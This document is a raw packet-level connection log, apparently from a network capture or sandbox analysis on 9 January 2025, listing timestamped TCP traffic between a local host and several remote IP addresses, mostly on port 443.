Jan 9, 2025 13:19:25.406742096 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.406752110 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.406796932 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.414813042 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.415271997 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.415293932 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.415352106 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.415385008 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.415431976 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.416016102 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.416409016 CET	49678	443	192.168.2.16	20.189.173.10
Jan 9, 2025 13:19:25.417212009 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.417232990 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.417298079 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.417309046 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.417371035 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.420828104 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.440505028 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440529108 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440536976 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440562963 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440581083 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440591097 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440603971 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.440629959 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440645933 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.440655947 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.440685987 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.440706968 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.441324949 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.441335917 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.444204092 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.444228888 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.444305897 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.444499016 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.444509029 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.458462954 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.458496094 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.458569050 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.458725929 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.458740950 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.470225096 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.470242023 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.470340967 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.470381021 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.470436096 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.493696928 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.493716002 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.493798971 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.493812084 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.493866920 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.494100094 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.494113922 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.494154930 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.494164944 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.494182110 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.494206905 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.494652987 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.494668961 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.494729996 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.494735956 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.494780064 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.495114088 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.495160103 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.495178938 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.495187044 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.495209932 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.495214939 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.495246887 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.495255947 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.495383978 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.495404005 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.499459028 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.499492884 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.499552011 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.499901056 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.499937057 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.500000954 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500103951 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500116110 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.500180006 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500324965 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500339031 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.500438929 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500488043 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500505924 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.500709057 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500716925 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.500744104 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500755072 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.500874043 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.500883102 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.516019106 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.534687042 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.534996986 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.535022974 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.535979033 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.536047935 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.536307096 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.536355972 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.536462069 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.536468983 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.559449911 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.590445995 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.596527100 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.596880913 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.596908092 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.597220898 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.597580910 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.597641945 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.597712040 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.609668016 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.609875917 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.609898090 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.610884905 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.610946894 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.611203909 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.611264944 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.611341000 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.611352921 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.622545004 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.622754097 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.622766018 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.623769045 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.623831987 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.624102116 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.624156952 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.624304056 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.624330997 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.636274099 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.636482000 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.636492968 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.636894941 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.637178898 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.637239933 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.637305021 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.643327951 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.653410912 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.658679962 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.658886909 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.658905029 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.659384012 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.659691095 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.659770012 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.659816027 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.669394970 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.683329105 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.685405016 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.701394081 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.701406956 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.881762028 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.881833076 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.881887913 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.882540941 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.882553101 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.063076973 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.063152075 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.063401937 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.064132929 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.064162970 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.064179897 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.064191103 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.064208984 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.064259052 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.064271927 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.064301014 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.064300060 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.064390898 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.066181898 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.066203117 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.096244097 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.096265078 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.096271038 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.096287966 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.096317053 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.096498966 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.096498966 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.096524000 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.096585989 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.098428011 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.098531961 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.098534107 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.098586082 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.098865032 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.098881960 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.103046894 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.103075027 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.103161097 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.103287935 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.103334904 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.103415012 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.103545904 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.103559017 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.103677034 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.103684902 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.110666037 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.110694885 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.110716105 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.110924959 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.110954046 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.111021996 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.114389896 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.114408016 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.114496946 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.114497900 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.114507914 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.114547968 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.114579916 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.114634991 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.114842892 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.114857912 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.119158983 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.119175911 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.119262934 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.120588064 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.120618105 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.120696068 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.120831966 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.120840073 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.120985031 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.120995998 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.126209974 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.126238108 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.126246929 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.126260996 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.126298904 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.126336098 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.126363039 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.126488924 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.126518011 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.127465010 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.127501011 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:26.127568960 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.127734900 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.127773046 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:26.127844095 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.128010035 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.128030062 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.128092051 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.128098965 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.128195047 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.128228903 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:26.128447056 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.128463030 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:26.134994984 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.135339022 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.135365009 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.136253119 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.136322021 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.136713028 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.136768103 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.136889935 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.136900902 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.149843931 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.150249004 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.150279999 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.153888941 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.153985023 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.154321909 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.154490948 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.154500008 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.178459883 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.178472042 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.194428921 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.194458008 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.212137938 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.213174105 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.213190079 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.214648962 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.214720964 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.216306925 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.216399908 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.216572046 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.216578960 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.220885992 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.221323013 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.221335888 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.222223997 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.222604990 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.222604990 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.222659111 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.222755909 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.222769022 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.239021063 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.239031076 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.239084959 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.239105940 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.239120960 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.239130974 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.239165068 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.239185095 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.240365982 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.240380049 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.240428925 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.240434885 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.240463972 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.240484953 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.240817070 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.240875959 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.240884066 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.240923882 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.241107941 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.241117001 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.242511034 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.258415937 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.269826889 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.270133972 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.270163059 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.270945072 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.271017075 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.271481037 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.271534920 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.271727085 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.271734953 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.274401903 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.283226013 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.283624887 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.283641100 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.284648895 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.284713984 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.285129070 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.285178900 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.285336018 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.285341024 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.322468042 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.338510036 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.487503052 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.487566948 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.487715006 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.487744093 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.488082886 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.488149881 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.488461018 CET	49815	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.488473892 CET	443	49815	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.491117954 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.491154909 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.491229057 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.491624117 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.491641998 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.491992950 CET	49827	443	192.168.2.16	89.46.108.67
